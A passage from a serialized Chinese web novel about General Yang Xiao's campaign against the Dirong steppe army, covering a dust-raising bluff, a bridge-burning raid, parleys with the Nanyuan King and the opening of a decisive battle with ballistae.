这次,杨笑抽调了所有能活动的将士,把沿途的一座座山头团团围住,从山脚一直搜到山顶,所有进入到他们视线里的东西,不论是什么,只要是能吃到嘴里的,统统不放过。不论是草根树皮,还是飞鸟野兔,也不论是山羊野鹿还是野猪,甚至是狗熊和豺狼。总之,只要是能吃的,统统跑不掉。 他们甚至还把老鼠洞里贮存的粮食都给掏了出来。 当真是苦了那些山中的生灵,平白的遭此劫难。 经过这样一番搜刮,虽然收获仍是不够将士们的需求,而且也拖累了行军的速度,不过好在一日三餐有了一点着落,也不用再单靠着杀马充饥了。 就这样,又走了几天后,将士们终于走出了这片大山。 这是血和泪的归途,过半的将士因为伤病得不到救治而留在了大山里。 对于军武之人来说,战场才是他们最好的归宿。 就这样死在这荒山野岭里,实在是让人心有不甘。 好消息是他们走出了大山。 坏消息是再也没有山头供他们搜刮了。 这意味着接下来的几天,他们要饿着肚子尽快找到大部队或是屯兵的城池。 夜狼山的那一边大雪纷飞,入目皆白,而这一边却是天干地燥,一片雪花也没见落下。 行至正午,众将士在一处沟壑里停下歇息,十多匹快马被安排出去加强警戒并刺探周围的情况。 这里已经是夜狼山的边缘丘陵地带了,出了这道小山沟再翻过一两座小土坡就是一望无际的草原了。从这里一路往南,大概再有两三天的路程,就是一座周军屯兵的小城。 众将士吃了点干粮,休息的差不多了,杨笑便命令继续赶路。 就在这时,一匹探马径直飞奔至杨笑身前。那马上的探子不等马匹站稳便翻下马来禀告道:“将军,大事不妙!” 杨笑把双眉一皱:“何事惊慌?” 那探子急切道:“有一路敌军往这边径直而来,离此已不足十里。” “什么!”杨笑身边众人闻言皆是一惊。 “敌军有多少人马?”杨笑问道。 探子回道:“敌军黑压压一片,少说也有一两万人。” 王燕兴等人闻言全都围了过来:“将军,眼下我军疲惫不堪,伤病又如此之多,战又战不得,躲又躲不掉,这可如何是好?” 杨笑所率军马皆是毫不畏死的悍勇之卒,这一点确是不假,但这个时候冒冒失失地冲出去迎敌,却是白白送死的愚蠢行径。任何一个领兵之人,他只要不是头蠢猪,只要没有昏了那颗猪脑子,就绝不会让自己的将士们去白白送死。而这样的危机之局,正是考验一个统兵将领的智慧的时候。 虽然杨笑选择的行军路线已经尽量的避开了敌军,但这里必经已接近两军齐战的前沿之地,有一两股敌军流窜过来也在意料之中,但是碰到这么多的敌军确实是有点在意料之外了。 既然不能硬拼,那就得想办法避开对方的锋芒了。 只见杨笑紧锁着眉头,将周围的群山丘壑环顾一周后,说道道:“莫要惊慌,趁鞑靼们还没发现我们,你等各带人马分散后撤躲藏,这里不是什么交通要道,他们不一定从这边进山。” 这时王燕兴不无担忧道:“不会是浑邪王派人专门来这边堵截我们的吧?” 王燕兴的话让众人心里又是一紧。 杨笑闻言摇头道:“顾不了那么多了,大家先进山躲藏,实在不行,我去引开这些鞑靼们。” 就在杨笑刚布置完分散撤退的命令后,又有探马来报:“发现敌军斥候!” 敌军斥候的出现意味着他们已经被发现了。 看来躲是躲不掉了。 “拼了!” “对,跟他们拼了!” “将军,跟他们拼了吧!” “将军,你就下命令吧,我们不怕死!” “对,冲出去跟他们拼了,大不了就是个死!” ……众人七嘴八舌的叫嚷道。 人生就是这样,有很多事情不是我们想躲就能躲的开的,既然无法逃避,那就勇敢的面对吧。 杨笑看着群情激愤的众将士们抬手示意了一下,众人立刻就安静了下来,一个个全都屏住呼吸等待着杨笑的命令。 只听杨笑说道:“对,是要跟他们拼一把,却不是就这么冲上去送死。” “全军听令!伤病人员撤往后方高地,把全部战马调动起来!……!” 很快,全体伤病人员便相互搀扶或是在他人的帮助下,撤退到了一座比较高大的山丘之上。 虽然很多伤病之人表示自己尚有一战之力,但他们也知道这个时候不是自己逞一时英雄能耐的时候,服从命令才更重要。说不定到了最后的时刻,那些躺在地上的,尚在沉默中的胞泽们就需要自己来保护了。 不用什么人刻意命令,那些还能动的伤员们便已经利用山坡上的东西,开始构筑起了简易的工事。 那些没有受什么伤的,还能上马作战的人,则是把山沟里所有能看到的大小树木、灌木全都给砍了个净光。在所有的战马身后都绑上了一根树枝,然后把它们驱赶起,绕着几座山坡,在山沟里不停的飞奔了起来。 干燥的土地在马蹄跟树枝的摧残下扬起一股股的尘土狼烟,轰隆隆的马蹄声就像是脚下的土地在发出一场奋怒又纷乱的抗议。 将士们全都排好队形双足重重踩踏地面,同时扯开嗓子呼喊着口号。 就连那些山坡上的伤病员们也是扯开嗓子呼喊起了。或是抓起尘土往天上扬,或是用力捶打地面,或是用刀剑拍打身上的盔甲……总之就是想尽一切办法都要弄出一些动静来。 ……。 迎面而来的不是别人,正是与杨笑在战场上有过一面之缘的狄戎族金帐王:阿霍都。 呜呜泱泱的人马,或是步履匆匆,或是脚步沉重,脸上的神情颇有憔悴之色,士气也有些低沉,若是仔细看的话,还会发现有些人的身上似乎还挂着或轻或重的伤。 骑在马上的阿霍都脸色阴沉,眼神中透着愤恨的神色。 在他身边的军师班布善,紧皱着眉头,脸色也不怎么好看,只是从他的神情里更多的是透出一种苦苦思索的表情。 就在这时有一名斥候口中急呼着“报”字,从远处急驰而来。 那斥候飞奔至阿霍都跟前翻身下马,跪地道:“禀告大王,前面发现一支周军。” 阿霍都等人闻言立刻神情一震,问道:“他们有多少人马?在哪个方位?” 那斥候伸手一指,回道:“禀告大王,在那个方向,离这里有七八里路程。周军的外围岗哨防守的很严密,属下没能靠近看清楚,不过看动静少说也有七八千号人。” 阿霍都听到后咬牙道:“七八千人”他说着把腰间钢刀一抽喝道:“来呀!一个都不留!” 阿霍都说着双腿一夹马腹就要冲出去,一旁的班布善立刻阻拦道:“万万不可!” 阿霍都怒道:“什么!?” 班布善见阿霍都正是怒火中烧也只好耐着性子劝道:“大王万万不可义气用事啊!” “怕什么?” “周军虽说人数不多,但此处地形复杂,再者我军已然多有疲惫,若是周军利用地形与我军周旋起来,只怕一时难以剿灭,到时候只怕于我军不利啊!” “本王尚有三万之众,曲曲七八千人,晾他能有多大能耐?不杀了他们,本王咽不下心中这口气。” 班布善见阿霍都不肯听劝还要执意前往,便一把拉住了他的的手臂提醒道:“大王不要忘了,我们后面的追兵可是不远呐!” 阿霍都闻言目光一凝,神色稍缓。他抬头往远处的天边望了望。 在那里正有一股淡淡的尘烟升起,尘烟下是那正在追赶他们的周军。 如果在这里停止不前的话,用不了半天的功夫,周军就会把他们团团围住。 班布善看着阿霍都脸上的神情变化,轻轻按下阿霍都举刀的手臂:“前面不远就是杞梁道了。” 阿霍都也明白事到如今早已大势已去,已然事不可为了,心中的愤恨不甘最后也只得化作一声沉重的叹息:“走!” ……却说这一边杨笑等人摆开阵势忙活了大半天,一个个把自己给弄的灰头土脸,也没见一个狄戎人过来。正疑惑间,只见有一探马飞奔过来禀告道:“那帮鞑靼们从这片山丘前绕了过去,头也不回的就走了。” “当真?” 这伙敌军竟然就这么放过自己了? 杨笑有些难以置信。 “千真万确。属下跟了他们十多里路,亲眼看着他们消失在天边,这才回来向将军禀报的。” “这是怎么回事?这帮家伙们到底在干什么呢?” 杨笑摸着下巴疑惑不解,喃喃自语道。 杨笑思索了一阵子还是有些想不明白,却也不敢就这么轻易的带着大家离开这片山丘,只得多派探马再探再报。 约么过了一柱香的时间后有探马回报:“发现一队人马,尚不清楚敌我,也不知对方人数多少。” 众人闻言再次紧张起来。 这个时候任何风吹草动都可能给大家带来难以预料的后果,由不得众人不小心紧张。 “再探再报!”杨笑立刻命令道。 “是!” 还不等那探子走远,就又有一匹探马飞奔而来。那探子还不等奔至近前便高呼道:“好消息!将军,好消息。是咱们的人。” 众人闻言大喜,立刻迎上前去:“是哪路人马?” 探子回道:“是大皇子旗下兵马,由梁赞梁将军领先锋官。” 众将士闻言立刻欢乎起来。 众人立时间纷纷上马向外迎去。 杨笑带领众人刚拐出山丘,便见数十人打马而来。那为首之人来到杨笑身前抱拳道:“末将常显,奉我家将军之命先行一步特来迎接杨将军。我家将军随后就到。” 杨笑回了一礼,道:“常将军辛苦了。你们怎么会到了这里?先前那支敌军又是怎么回事?” 只见常显笑道:“多亏了杨将军在敌后一番大闹,牵制了鞑靼们不少的力量,使得他们后继乏力,尤其是断了他们的粮草,迫使其不得不提前与我军决战,这才被我军大败。先前从这里经过的正是一支败退的敌军,领兵的是敌军三王之一的金帐王,我军正奉命追击。” 众人闻言纷纷交头接耳,惊诧道:“啊,竟是那金帐王!” 杨笑也目光闪动,低语道:“竟是他?” 正说话间,便见又有一批人马赶到。 前面为首之人正是冠军大将军,玄甲营统领:梁赞。 人还未到梁赞的声音已先传入耳中:“哈哈哈哈……杨兄弟,杨兄弟此番居功甚伟啊!” 很快梁赞便到了杨笑的跟前,拍着他的肩膀朗声道:“真是多亏了杨兄弟你,不然我们想要抓到敌人的主力与之决战还不知道要等到什么时候呢。” 哪知杨笑一把就将梁赞的手臂从自己的肩膀上抓了下来,这让梁赞一时间有点愕然,也不知道自己是说错了哪句话让这小子不高兴了。 杨笑环顾一下左右,将梁赞拽到一旁问道:“梁大哥既然回来了,那么,那边的事情应该是都解决完了吧?” 梁赞笑道:“杨兄弟放心,一切都已敲定,再也不会有半个所谓的异人来捣乱了。” “梁大哥上次让胡八公带口信时也是这么说的,那为何……”杨笑接着便将前些天与黄脸大汉等人的事情向梁赞说了一遍。 正是因为有了梁赞让胡八公带来的消息,杨笑才敢兵行险招,只带着这么点兵力就往龙潭虎穴里闯的。 以杨笑的修为武功哪怕是身陷那等重围之中,带领众将士冲出包围却也不是多难的事,必经像“万军从中取上将首级”这样的事对杨笑来说,不敢说如探囊取物那般轻松,却也不是多么难以办到的事情。 虽然知道死伤是再所难免的,可怎么说也不该有如此惨重的伤亡,杨笑的心里说没有一点怨气那是不可能的。必经那可是一万多条命啊! 梁赞听杨笑说完后便抬眼向他身后望了望,见那一众将士一个个的十有八九身上都挂着或轻或重的伤,两万劲旅只剩下眼前这些人,这样的损失也确实是有些惨重。梁赞也只得向杨笑抱以歉意,解释道:“是我们大意了,没想到那帮家伙们能搞出这么大的动静,一时间应付的有些仓促,好在有几个相好的宗门相助,这才能这么顺利的挽回局面。” “让兄弟你受此惊吓,抱歉抱歉,都是为兄的不是,等回去之后一定设下酒宴为兄弟压惊。” “至于那几个漏网的杂鱼,杨兄弟只管放心,只要是落在为兄的手里,一定不会轻饶了他们!” “眼下那金帐王就在前面,杨兄弟你要是愿意,就随大哥一同追过去,等擒了那斯之后功劳都算作兄弟你的,也好让你出了这口恶气。” 杨笑往金帐王离去的方向看了一眼, 便让王燕兴带着众将士先回去修整一番,自己则跟着梁赞继续向那金帐王追去。 只恨小黑现时间不在身边,不然的话追上那金帐王还不是小事一件。 梁赞似是看出了杨笑的心思,便说了两句“想来那斯跑不了多远”之类的话来安慰杨笑。 到底杨笑能否追到那金帐王,接下来的战事又会是什么样的走向,欲知后事如何,且听下回分解! 第一百六十一回 定要单于破胆还 上一回说到梁赞邀请杨笑一同追击金帐王阿霍都所带领的逃兵,杨笑于是便安排王燕兴继续带领众将士返回后方营地修整,自己则与梁赞一同追击而去。 不管是人还是动物,在生命受到威胁的时候往往会迸发出远超平时的身体机能。就好比现下正处于逃命中的狄戎族人,那跑起路来怎一个快字了得,任凭杨笑和梁赞他们死命的追了三天三夜也没见到这帮家伙的身影。 行至一座小山丘上,杨笑和梁赞双双收住马缰,两人举起一只手搭在额前,使劲儿的往天边张望了一番。 “这帮龟孙儿跑的还挺快,把我这匹宝马的腿都跑细了,这都没能追上。” 梁赞张望罢,在脸上胡乱的抹了一把,拍着身下的马儿说道。 “不能再追了,再追就太过深入敌军腹地,脱离大军太远了。”杨笑说道。 “再深入还能有你深入?”梁赞呵呵笑着打趣道。 杨笑扭头看了他一眼:“那不一样,你的玄甲营在机动性上比不了轻骑军,还是不要太过深入的好。” “杨兄弟言之有理,那咱们这就回吧。” “只可恨被那三个异人阻挡,不然的话带领将士们杀出重围绝不至于受这么大的损失。” 显然杨笑对落星坡的惨痛损失在心里还是放不下。 梁赞生怕他又提起自己当初的承诺,便转移话题道:“既然决定往回走了,那咱们事不宜迟这就回转吧,要是再不回营,杨兄弟你那几十万本部兵马可就不姓杨了。” 梁赞说着就拨转马头逃也似的下山去了。这小子一路上可没少埋怨自己,他可不想再吃一顿埋怨话了。 数日后,杨笑和梁赞便来到了大皇子武恭所率领的右路军统军大帐之中。从武恭这里得知狄戎族虽说损失惨重,但他们并未死心,仍有余力同大周皇朝一战,眼下他们就正在收拢力量打算同大周皇朝再次一决雌雄。 杨笑在这边休息了两日便动身往皇帝武昭所在的左路军大营而去。 大帐中皇帝武昭正在同三位藩王以及封常青、张居?等人商议军情,又有韩擒虎、李伯通、马致远等人旁听。 就在这时有侍卫进入大帐之中跪地通报:“启禀万岁,虎威将军帐外求见。” 闻言,众人齐齐抬头望向那通报的侍卫。 被这一众皇朝中的大人物盯着的感觉,饶是每日侍奉皇帝左右,见惯了皇朝大人物的御前侍卫,也是顿觉有一股山岳压顶般的磅礴气势迎面而来。 皇帝武昭:“快快有请!呃不,朕亲到帐外迎接。” 说罢便带着众文巨武将往帐外前去迎接杨笑。 大帐外,杨笑正单膝跪地等候皇帝召见,还未见通禀之人出来回话就听到皇帝武昭那爽朗大气的笑声从帐内传了出来。 “哈哈哈……吾儿此番当居首功!” 声音落下,皇帝武昭已然带着众人来到帐外。 皇帝武昭一把扶起杨笑:“快快起来,吾儿这一趟真是辛苦了。” “父皇过誉了,孩儿愧不敢当。” 虽说军中无父子,但皇帝都口呼“吾儿”了,杨笑自然要以儿辈自居,称呼一声“父皇”。 “杨将军牵制敌后,断其粮草物资,功居第一。”封常青说道。 “哈哈哈……侄女婿不必过谦。”南越王也说道。 几人寒暄客套几句后,李伯通并马致远等杨笑的一众部将全都上来参拜。 此番出征,大周皇朝最大的后顾之忧就是粮草过于紧张,须与那狄戎族速战速决才好,怕就怕对方 杨笑与众部将见过之后,武昭拉住杨笑的手道:“走,咱们帐内细说。” 进得大帐,众人依次落座,由封常青为杨笑解说一遍此役前后的情况。 原来自杨笑在青铜峡大胜,周皇朝大军得以进入阶上草原,此战一举扭转战局,不但解除了西梁境的危机,更使得周军一改颓势,由守转攻。原本狄戎族打算靠着自己机动性强又是本土作战的优势,要将大周军队耗死在这茫茫草原之中,却不料杨笑在其后方如疾风扫落叶般一阵横冲直撞,把个狄戎族的后院搅的天翻地覆,硬生生把大后方变成了不输前线的战场,更是一举端掉了敌军的粮草物资,这使得敌人不但兵员补充不畅,更加断了他们的粮草后勤,如此一来便逼着狄戎族不得不与大周军队提前决战。结果一场仗打下来,狄戎族大败溃逃。只可惜虽然获胜,却也只是让敌人伤了些元气,没能动其根本,所以经过众人商议后决定一鼓作气将狄戎族彻底打爬下为止。 “杨将军,眼下敌军已经退出了南苑地界,正在不断收拢力量,其亡我之心不死,一旦给他们以喘息之机,势必对我大周再次形成威胁。我等同陛下商议之后决定乘胜追击,争取在燕然山,延着拐子河到温酒湖一带将其聚而歼之。” “这么大的范围,敌人所存力量不在少数,能做的到吗?”杨笑听到封常青的话后不免有些担心。 必经狄戎族人还剩下不少的兵马,而且他们的机动性又很强,在这么大的一片地域内想要把他们围困住实在是有点难。一招不慎说不定都不是“偷鸡不成,蚀把米”的后果。 “关于这一点就又要把担子落在将军的肩上了。”封常青说道。 杨笑立即起身啪的一个敬礼:“保证完成任务!”(咦,好像哪里有什么不对?) 武昭点头示意封常青继续说下去。 封常青向皇帝一礼后接着说道:“鞑靼们虽然厉害却也不是铁板一块,那些被杨将军俘获的部落头领基本上都已臣服于我,此外我们也暗中策反了一些部落将领,到时候我们只要将敌人堵在这里,大战一起,他们便趁乱起事,届时里应外合,大事可成。” 杨笑闻言皱眉道:“那些人可靠吗?万一中计可怎么办?” 封常青笑道:“他们是不够可靠,这就需要我们让他们不得不可靠了。” 封常青说着打开了地图:“杨将军务必在半月之内赶到温酒湖夺下这处渡口。” 封常青在地图上一处河湖相交之处敲了敲。 “大皇子则会带人进入这一带。” 封常青又在地图上划出一片地带。 “只要这两处后路被断,敌人便无路可退,同时又首尾不能相顾,到时陛下带领大军正面压入,敌人没了腾挪的空间便失去了最大的优势。在我军强压之下,那些本来不太可靠的人就不得不变的可靠,只有同我们合作,活下去的希望才更大。” …… 拐子河,狄戎族中部地域的一条大河,源于燕然山北端,一路在山中峡谷蜿蜒穿行向南数百里,在燕然山的中部突然拐了个几乎是一百八十度的弯,又向北行了百余里,之后再次折返向东南而去,最后汇入温酒湖,通过温酒湖汇入另一条大河然后一路向北而去。因为大弯大拐甚多,所以得名拐子河。 此时,严冬里的温酒湖冰封百里。虽然整个湖面都被坚硬的冰层覆盖,却也只有靠近湖边百余丈内的冰面能够经得住人马通行。这是因为温酒湖湖大而水深,越是水深处湖水就越是深而温暖,冰层也就越是薄。又因为冬天里湖面渐渐回落,结成的冰面也就跟着形成了四边高中间低的样子。每每此时,湖面上的冰层光滑如镜,人在上面行走时免不了要打几个出溜滑,常常一个不小心就会顺着倾斜的冰面滑向湖心,直到冰面承受不住重量,然后“哗啦”一声冰层开裂,给那个倒霉蛋来一个冬天里的透心凉,再然后他就会需要冬天里的一把火,好让红红的火焰温暖他的心窝。每年都有不少人因此在湖上凿冰取水或是捕鱼时不慎落水,运气不好的干脆就只能把湖冰当被子,一觉睡到来年开春再上岸了。 杨笑带着麾下三十余万兵马浩浩荡荡直插温酒湖而来。 这一天,天刚蒙蒙亮,经过一夜休息的大军正在整顿行装,准备出发。 就在这时,有人来报发现狄戎人的军队,杨笑闻报立刻点起兵马前去查看,原来是狄戎族人在此处摆开阵仗,迎接周军的到来 杨笑登高望远,只见对面黑压压一片,全都是数不清的兵马, 将对面的军阵眺望一番后,杨笑问道可曾探明敌情? 有侍卫回道:“禀将军,对面约有十数万人马,所属部落以及统兵之人尚不明确。” 这些狄戎人退败至此,立足未稳,能在此时聚集起十几万人马也是难得,看来为了守住这最后的退路,狄戎族人也是下了血本了。 就在杨校带领兵马摆开阵势,准备与敌人族人展开一场大战的时候,只见对方阵营之中走出一人,杨笑定睛看去,来者不是别人,正是当初出使大周并带领一班人马在西梁校场与杨笑等人展开过一场擂台争斗的南苑王。 只见那南苑王走出阵来,向这边一番张望后高声喊道:“对面乘虎之人,可是杨将军?” 杨笑回道:“正是区区不才。” 南苑王又说道:“将军别来无恙。当初西梁城外一别,将军过人风采,让本王甚是想念,谁曾想今日两军对垒,你我却是阵前相见,当真是造化弄人啊!” 杨笑回道:“劳烦南苑王大人惦念了。”说完,转头对身边侍卫说道:“牵我的马来。” 杨笑换上战马,双腿一夹,催马来到两军阵间,南苑王见状便也要打马上前,其身边侍卫见状,立刻提醒道:“大王小心!”说着,便要随同南苑王一同上前。 南苑王抬手制止道:“以杨将军的勇武,一人可当千军,你等不必跟随,他若真有心杀我,就算你等跟在本王身边也是无济于事。”说罢,便催动胯下战马来到杨笑跟前。 二人相互拱手致意。杨笑面带微笑率先开口说道:“南苑王大人,杨某的信可曾收到?” 南苑王呵呵一笑:“杨将军的信写的太过奇怪,本王有些看不懂啊。” 原来那日杨笑让那名俘虏带给南苑王的信上只写了三个字:大可汗。 南苑王当时打开信来,只是看了一眼便将那封信在火盆里化为了灰烬。至于那个送信之人出了大帐没走多远便永远的闭上了嘴。 “南苑王心知肚明。何必在杨某这里装糊涂呢?当下局势不用杨某多说,想必南苑王也该知道,没了那些异人相助,以你狄戎族的力量根本就不是我大周的对手。难道南苑王真的对那个位置没有半点想法?若是能得我大周相助,届时南苑王再里应外合,何愁大事不成。” 见南苑王低头沉默不语,杨笑接着又说道:“南苑王大人当下的处境似乎不太妙啊?” “杨将军又怎知本王的处境不妙?” 杨笑呵呵一笑:“大可汗的心中若真有南苑王,又何必在这个时候把南苑王大人抛出来,做这弃车保帅的事情呢?” 南苑王望着杨笑再次沉默不语。 杨校又说道:“南苑王大人不必着急回答,不如你我就此各退十里安营扎寨,等三日后的此时,南苑王大人再来答复杨某如何?” 南苑王闻言点头道:“好,本王会慎重考虑的。” 于是二人回到各自阵营。见杨笑果真如约后退十里安营扎寨,南苑王便也同样后退十里扎下营寨,静待三日后再做计较。 常言道:时光如水,岁月如梭。一个月,一年甚至是十几年的时间,很快也就过去了,又何况是这短短的三天呢?那还不是一眨巴眼儿的功夫。 三日过后,杨笑依旧没有收到南苑王的回复。既然没有回复,那就是没得谈了。 这一天,天光刚亮,杨笑立即指挥三军将士摆开阵仗要与对面光明正大的来一场硬碰硬。 三通鼓过,两军在这片平坦开阔的草原上撕杀在一起。 这一边刀明甲亮,弓强弩硬;那一方生性彪悍,来去如风。 你那边蹄声????,我这边杀声震天。 蹄声????来去如风扬起尘土漫天;杀声震天刀明甲亮射落箭矢如雨。 草原上,湖岸边,好一场撕杀,直杀的天昏地暗。 必经狄戎族在兵力上不占优势,又刚刚经历了一场大败,正是士气低落的时候,所以没用多长时间杨笑指挥的西梁军就一点点占据了上风。 就在两军交战正酣之时,忽见有几骑来到南苑王跟前。 所来之人一个个全都灰头土脸,全身上下还有不少地方似是被烟熏火燎过一般。 几个人在南苑王身前下马跪地,说道:“启禀大王,拐子河上的浮桥被……被周军给烧了。” “什么!?”南苑王闻言大惊。 “怎么回事?怎么会被周军烧了浮桥?” “阿什利呢?他是干什么吃的?” “……?” 跟在南苑王身边的几名将领闻言纷纷愤懑不已。 “阿……阿什利自知罪不可赦已……经投河自尽了。” “啊……这个王八蛋!” 有人恨恨地骂道。 “大王这下可怎么办?”有将领问道。 众人闻言纷纷将目光投向南苑王,都在等待他的指示。 南苑王脸色难看至极。只见他抬眼回望众人一遍后缓缓说道:“事已至此,只能先行退兵再另作打算了。” 于是本就落入下风的狄戎族人纷纷弃甲曳兵,败退而去。 这一边,看到激战中的敌军忽然败退,杨笑也不下令追击,只是任由那些敌军渐渐逃远。一旁的李伯通轻声问道:“将军,要不要追一下?” 杨笑轻轻摆手道:“不用了,反正他们也逃不到哪里去,说不定还会对我们有一点意想不到的用处呢。” “看来是王将军的奇袭成功了。”马致远笑道。 “还不是杨将军的计谋好。”李伯通也抚须笑道。 “哪是我的计谋好,还不是你们想出来的高招,我不过是丢几只令箭而已。” 原来,在大军出发前杨笑就同众将士商议出了一条计策。早早派出了一支骑兵,带足了火油,一路上乔装打扮,昼伏夜行,绕过了温酒湖,直往那浮桥而去。 待到接近那座浮桥后,趁着月黑风高,一个个全都怀抱柴草火油就那么大摇大摆的向浮桥走去。 作为狄戎族大军的生命线,浮桥的守卫不可谓不严密,单是浮桥的这一边,在桥头上就有二百来号人轮流看守。 虽然是三更半夜的时间,但桥上依旧人头攒动,往来繁忙。等一伙人走上桥头,自然少不了守卫军卒的一翻盘查。只是往来的人车货物实在是太多,守卫们的盘查也是不甚仔细,只是大略的询问是哪个部落的人马,过桥要去干什么。长年跟这帮鞑靼们打交道,在西梁军中自然不乏熟悉敌国语言的,面对这些简单的盘问,负责应付守卫的人自然是张口就来,三言两语就糊弄了过去。 等到这伙人走到桥中间的时候便突起发难,丢柴,浇油,点火,一气呵成。然后就是趁着混乱混在人群里只管埋头往回跑,一边跑一边还叫嚷着:“不好了周军打过来了!” “周军来了,快跑啊!” 来往于浮桥上的人员不是老弱伤残,就是运送粮草物资的车队,这些负责押运的二流兵马又有多少战斗力可言?就更不要说那些做苦力的民工、奴隶了。再加上此时的敌军,不久前刚经历了死伤惨重的连番大败,正是士气低落,如同惊弓之鸟的时候,一听到周军杀到的呼喊声,立刻吓的四散奔逃。 一时间浮桥之上火光四起,木船、桥板、车辆、货物全都烧成了一片,受惊的人群和牛马也都乱作一团。更有甚者,慌不择路之下竟然跳进了冰冷刺骨的河水中。当然了,那些落水的更多是被惊慌的人群挤下桥去的。 等那看守浮桥的敌军反应过来时,这帮人早就头也不回的跑了。 ……(高级转场特效之省略号) 就在三个人谦让互捧,气氛正是轻松愉快的时候,刚从战场上下来的武俊山也提着兵器凑了过来。 武俊山早早便下了战马,骑了半天这玩意儿早就磨的裤裆里发痒。走几步路,再抖抖腿,抖完了左腿抖右腿,再用手去裤裆里抓几把,嘿嘿,这下舒服多了。 只见他走到杨笑跟前抓了那战马的辔头,仰起脖子对马上的杨笑说道:“将军,咱杀的正在兴头上呢,这帮鞑靼们竟然扭头就跑了,要我说,不行咱们再追上去杀他们个来回吧,那怕装装样子吓唬吓唬他们呢?” 听到武俊山的话后三个人全都笑了起来。 李伯通:“要追你自己去追吧,我们可不去。” 南苑王带着他的军队一退再退,杨笑则在后面亦步亦趋,就那么慢慢的跟着。直到整个狄戎族大军退无可退。 那座浮桥到最后也没能修好。 天气越来越暖了,好像一夜之间草原上那厚厚的积雪就消融了大半。在这冰消雪融之中两军迎来了最后的决战。 上将拥旄西出征,平明吹笛大军行。 四边伐鼓雪海涌,三军大呼阴山动。 虏塞兵气连云屯,战场白骨缠草根。 剑河风急云片阔,沙口石冻马蹄脱。 角声满天冬色里,雪重鼓寒声不起。 这一战,二龙誓要决雌雄。 这一战,定要单于破胆还! 第一百六十二回 杀死那个大可汗 狂风怒号! 凛冽的寒风像是要用尽所有的力气,来向越走越近的春天表达自己的不满。 风,卷起枯草和残雪漫天,扬扬洒洒,像是又下了一场大雪。 大可汗坐在马背上,定定的看着天地一线之间。如果自己所料不错的话,再过一会儿大周王朝的军队就会成片成片的出现在那边,这将是决定自己命运的一战,更是决定狄戎族未来的一战。 战争形势的转变让大可汗有些始料未及。他愤恨过,那些该死的异人当初是如何信誓旦旦对自己保证的?谁又能料到他们会在一夜之间全部一声不吭的消失不见。他也后悔过,后悔自己一开始的瞻前顾后,后悔自己的动作还是太慢了。要是当初自己能够断然出击,不这么拖拖拉拉,不去兼顾那些乱七八糟的东西,只管攻城拔寨,一路平推,兴许早已占据了西梁全境。那样的话,或许形势就不是现在这个样子了。他也有些想不明白,明明那武周王朝早已一副腐朽不堪,行将就木的样子,看上去只要轻轻一推就会轰然倒塌的模样,怎么就会暴发出这般强悍的战斗力?他恨那些异人骗了自己,后悔自己不够果决以致错失良机,想不明白周王朝的战斗力从何而来,却从没后悔过也没想过自己不应该发动这场战争。 就在大可汗心绪越漂越远的时候,一片枯草叶被寒风不偏不倚地甩到了大可汉的眼睛上。俗话说:眼里揉不得沙子。这既是说一个人的心胸,同样也是说眼睛这个器官对外界的刺激非常的敏感。 眼睛里传来的刺痛让大可汗忍不住低头挤出两眼泪来。等他再抬头看时,在那天边之处已然有一片片小若芥子的人影出现在那里。 “发现敌军!” 早已有负责了望的士兵将观察到的情况传递了回来。一时间一声声号角从各处响起,快速的向远处传递过去。 大可汗轻轻的摆了摆手,便有身旁的将领会意并向下发出了“列阵”的命令。很快,一队队士兵便缓缓蠕动起来,摆好了准备接敌的阵形。 不过预料中的冲锋并没有如期而至,周军在远超过冲锋距离的地方便停住了阵形,就那么站在那里一动不动。 这边,大可汗见到周军这般举动心里正奇怪时,就听身旁的一名将领说道:“大可汗,周军占尽优势却又迟迟不肯发起进攻,定是在等什么,想来多半是他们的内部临时出现了什么问题。大可汗,这是上天赐给我们的机会,咱们不能在这里坐以待毙,应该趁着他们还没有完全准备好,立刻发起冲锋打他们一个措手不及,这样咱们的胜算才会更大。大可汗,就让我带领手下的勇士们为您开辟出一条通往胜利的大路来吧?” 大可汗点头道:“好,就由你来打头阵。传令下去,大军向前压进!” 那将领于是催马上前几步,抽出腰前兵刃高声道:“勇士们,决定你们命运的时刻到了!” 军阵迅速变换阵形缓缓向前压进,同时为准备冲锋的人马让出一条通道。 这一边,周军止住阵形,前面擎矛持盾的士卒摆出防御姿态,后面的弓弩手们纷纷拉弓搭箭。 在弓弩手的后面排出了一辆辆牛车,车上是一架架巨大的床弩。 每一架床弩都配有五人操作。一人牵牛负责行进与方向,两人负责搭上弓弦并在弓弦张紧后放置箭矢,剩余两人则用绞盘将弓弦张紧。 床弩上所配备的箭矢有三种。一种是普通弓弩用的箭矢。这种箭矢用来射击距离较近的敌人,需要装在特制的托盘上,每次就能射出上百支箭矢。多架床弩配合,箭雨落下之处犹如蝗虫过境,暴雨倾盆。 另一种箭矢长有六七尺,约有三根手指粗细,这种箭矢每次可射十余支,三四百步开外人马具穿。 最后一种也是最大的一种,说它是箭矢不如说它就是一根简配版的长矛。就只是一根削尖了前头并在上面被上了铁皮的,长长的棍子或者竹子。这种长有一丈多的巨大箭矢每次可射两三根,五百步外别说是人了,马都给你钉在地上。 待到一切准备就绪后,那负责放置箭矢的两人便根据目标所在的位置调整好床弩的角度,只需拉一下扳机,随着弓弦发出的一声闷响,巨大的箭矢便像一道道黑色的闪电一般向敌人激射而去。 战场上的弓箭通常都是集群攻击,跟本不用考虑准头的问题,你只要能够射得出去,射的足够远那就行了。 就在狄戎族大军变换阵形准备前进之时,只听一阵低沉的破空之声从头顶传来,随之而来的就是一声声嘶鸣和惨叫。 “什么情况?” 就在大可汗还没搞明白发生了什么事情的时候,只听“嘭”的一声便有什么东西落在了他的身前。 突如其来的变故令战马双蹄腾空嘶鸣不已,差点就把大可汗甩下马背。待到大可汗定睛看去时,只见在地上插着一根手臂粗的巨大箭矢。 这一箭真是只差一点就能要了他的命。 这要是被射中了,那还打个锤子! 大可汗面露惊色,抬眼望去,自己所在位置离那周军足有六七百步远,周军什么时候有了这样强大的兵器? 这要是再被多射上几轮……? 不及细想,大可汗连忙挥刀高呼道:“全军出击!” 冲锋方一开始便先受了一顿“长矛”的洗礼,再往前冲一段路,又是一阵超大号的箭雨,再近一些了迎接他们的又是一波波更密集的箭雨,好不容易冲到了百步的距离,呵呵,还是正常的弓箭让人感到亲切啊。 这一路上也不知道有多少人马被钉死在地上;也不知道有多少人马被射了个对穿;更不知道有多少人马被射成了刺猬,那些受伤落马的就算当时没死,也被后面跟上来的人踢马踩给送去领盒饭了。 咦?好像剧组的盒饭也不便宜的样子? 